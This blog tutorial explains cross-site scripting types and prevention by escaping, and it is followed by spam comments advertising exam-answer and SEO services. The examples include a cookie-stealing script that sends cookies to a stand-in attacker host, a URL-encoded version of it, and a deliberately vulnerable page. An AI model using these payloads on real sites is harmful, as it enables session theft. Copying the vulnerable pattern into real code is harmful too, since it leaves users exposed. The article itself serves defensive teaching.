Top add

Cross-site scripting (XSS) and prevention

Cross-site scripting (XSS) is a security exploit in which the attacker inserts malicious coding into a link that appears to be from a trustworthy source. When someone clicks on the link, the embedded programming is submitted as part of the client's Web request and can execute on the user's computer, typically allowing the attacker to steal information.

Web forms that dynamically return an error message including user input data make it possible for attackers to alter the HTML that controls the behavior of the form and/or the page. Attackers do this in a number of ways, for example by inserting coding into a link in a forum message or in a spam message. The attacker may use e-mail spoofing to pretend to be a trusted source.


Among the problems introduced by JavaScript are:

  1. A malicious website might employ JavaScript to make changes to the local system, such as copying or deleting files.
  2. A malicious website might employ JavaScript to monitor activity on the local system, such as with keystroke logging.
  3. A malicious website might employ JavaScript to interact with other Websites the user has open in other browser windows or tabs.

Types of cross-site scripting

There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.

Persistent Attack Example

Many web sites host bulletin boards where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.

Cookie Stealing Code Snippet: 

<SCRIPT> 
document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie 
</SCRIPT>

Due to the fact that the attack payload is stored on the server side, this form of xss attack is persistent.

Non-Persistent Attack Example

Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen

Portal URL example: http://portal.example/index.php?sessionid=12312312&username=Joe

In the example above we see that the username "Joe" is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account if they managed to get the victim to visit their URL.

A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.

URL Encoded example of Cookie Stealing URL: 

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Decoded example of Cookie Stealing URL:

http://portal.example/index.php?sessionid=12312312&username=script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>


DOM-based Attack Example

Unlike the previous two flavors, DOM based XSS does not require the web server to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from the web server.

Consider an HTML web page which embeds user-supplied content at client side, i.e. at the user's browser. This in fact a well established practice. For example, an HTML page can have JavaScript code that embeds the location/URL of the page into the page. This URL may be partly controlled by the attacker.

In such case, an attacker can force the client (browser) to render the page with parts of the DOM (the location and/or the referrer) controlled by the attacker. When the page is rendered and the data is processed by the page (typically by a client side HTML-embedded script such as JavaScript), the page's code may insecurely embed the data in the page itself, thus delivering the cross-site scripting payload.

For example:

Assume that the URL

http://www.vulnerable.site/welcome.html 

contains the following content:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT> 
Welcome to our system
…</HTML>

This page will use the value from the "name" parameter in the following manner.
http://www.vulnerable.site/welcome.html?name=Joe

In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as

http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script> 

which will embed the malicious JavaScript payload into the page at runtime.

There are several DOM objects which can serve as a vehicle to such attack:

  1. The path/query part of the location/URL object, in which case the server does receive the payload as part of the URL section of the HTTP request.
  2. The username and/or password part of the location/URL object (http:// username:password@host/...), in which case the server receives the payload, Base64-encoded, in the Authorization header.
  3. The fragment part of the location/URL object, in which case the server does not receive the payload at all (!), because the browser typically does not send this part of the URL.
  4. The referrer object, in which case the server receives the payload in the Referee header.
Possible sources of malicious data
While the problem applies to any page that uses input to dynamically generate HTML, the following are some possible sources of malicious data to help you spot check for potential security risks:

    * Query String
    * Cookies
    * Posted data
    * URLs and pieces of URLs, such as PATH_INFO
    * Data retrieved from users that is persisted in some fashion such as in a database

Prevention:

Escaping data

So the solution is to ensure that if contents like this are entered into the form, that the server side script escapes them before adding them to the page content. HTML offers a simple way to escape these; use HTML entities for < > & and " characters. Yes, for virtually all situations, this really is all it takes. PHP offers a simple function to do this; htmlspecialchars. Other languages sometimes offer ways to do this, but some do not. One of the big offenders is JSP which, to my knowledge, has no equivalent method. Authors simply do not realise they should create one for themselves. Many JSP pages are left open to XSS attacks as a result.

It is not enough to escape just < and > characters, since quotes can be just as damaging inside an attribute. If quotes are not escaped, the attribute can be ended, and a new event handler attribute started, that triggers when the user clicks it, or focuses it, or moves their mouse over it. If you are putting the content inside an attribute, make sure the attribute uses " (double) quotes, or the attribute could also be ended simply by including a space (if using ' [single] quotes around the attribute value, make sure you tell PHP's htmlspecialchars function to convert those as well inside the attribute value).

Form data must also be escaped before using it as part of a database query, typically by putting backslashes before quotes (again, PHP has inbuilt methods for doing this). Failure to escape it could allow people to end the query, and start a second one, deleting random data, corrupting databases, or at worst, being able to run shell commands, and take over the server. A similar situation could occur if your script uses that data to construct a shell command.

Never trust URLs you are given

Some pages allow a form to submit a "next URL" value, that the user will be redirected to after the data has been processed. Sometimes this is done with a Location header, but sometimes it is done with a meta refresh or JavaScript. With meta refreshes and JavaScript, if the URL that is given is a 'javascript:' URL, then the script will run. A malicious site could easily use this as a way to post scripts onto a page. Always check that URLs provided as form data start with a trusted protocol, such as 'http:' or 'https:'.
Being careful with scripts

In very rare cases, cross site scripting vulnerabilities are created within JavaScripts. Although far less common than server-side script mistakes, it is still possible to make equivalent mistakes in JavaScript. JavaScripts can read data passed in the URL, and must be careful how they process that data. If they assign that data to any object that accepts url values, such as the src of an image or the location object, any scripts can be injected into it.

13 comments:

Muhammad Azeem said...

This is a nice article..
Its very easy to understand ..
And this article is using to learn something about it..
php tutorial
Thanks a lot..!

sbo said...

thank you so much. fosbobetr good Archive

hippop tamizhan said...

I am very happy when read this blog post because blog post written in good manner and write on good topic. Thanks for sharing valuable information….... by OPS 571 Final Exam provider.

Rahul Sharma said...

I show up record it. I ache for to catch included this topic…i am respecting the time and fulfillment you put in your site, by MGT 311 Final Exam provider

conspiracy said...

I think it will help me a lot in the related stuff and is very much useful for me. Very well written I appreciate & must say good job....... by MGT 230 Final Exam provider.

Jennifer Morgan said...

Everything is very open with a really clear description of the challenges. It was truly informative. Your site is very helpful. Thanks for sharing!. ..... by BIS 220 Week 5 provider.

mgt311final said...

Incredible substance, I truly liked the insign you carry to the theme, stunning stuff. continue trying different things with your composition and doing intriguing things! I'm liking it.thanks About Your Perfect Post & Contain In Your Website... by MGT 311 Week 2 Individual Assignment

MGT 498 week 1 said...

Great content i would be glad if you still post these type of Articles so that i can gain lot of information.For more information please go through

Keshia Williams said...

This is the first time i am reading your post and admire that you posted article which gives users lot of information regarding particular topic thanks for this share.I am impressed with the content you provided....... by ECO 365 Final Exam provider.

Swathi Antony said...

Your Blog is really appreciable. You did a great job by sharing this valuable and helpful Article with us........ by MGT 311 Final Exam provider.

Shipali Suvarna said...

This is my first time go to see at here and i am in fact impressed to read all at alone place........ by MGT 350 Final Exam provider.

MGT 521 Final Exam said...

Your blog contains very important information. Thank you so much for sharing this blog. You did a good Job...by MGT 521 Final Exam provider

lamilamizona said...

Nice blog,thankyou for sharing this post.SEO Sydney | Wazzam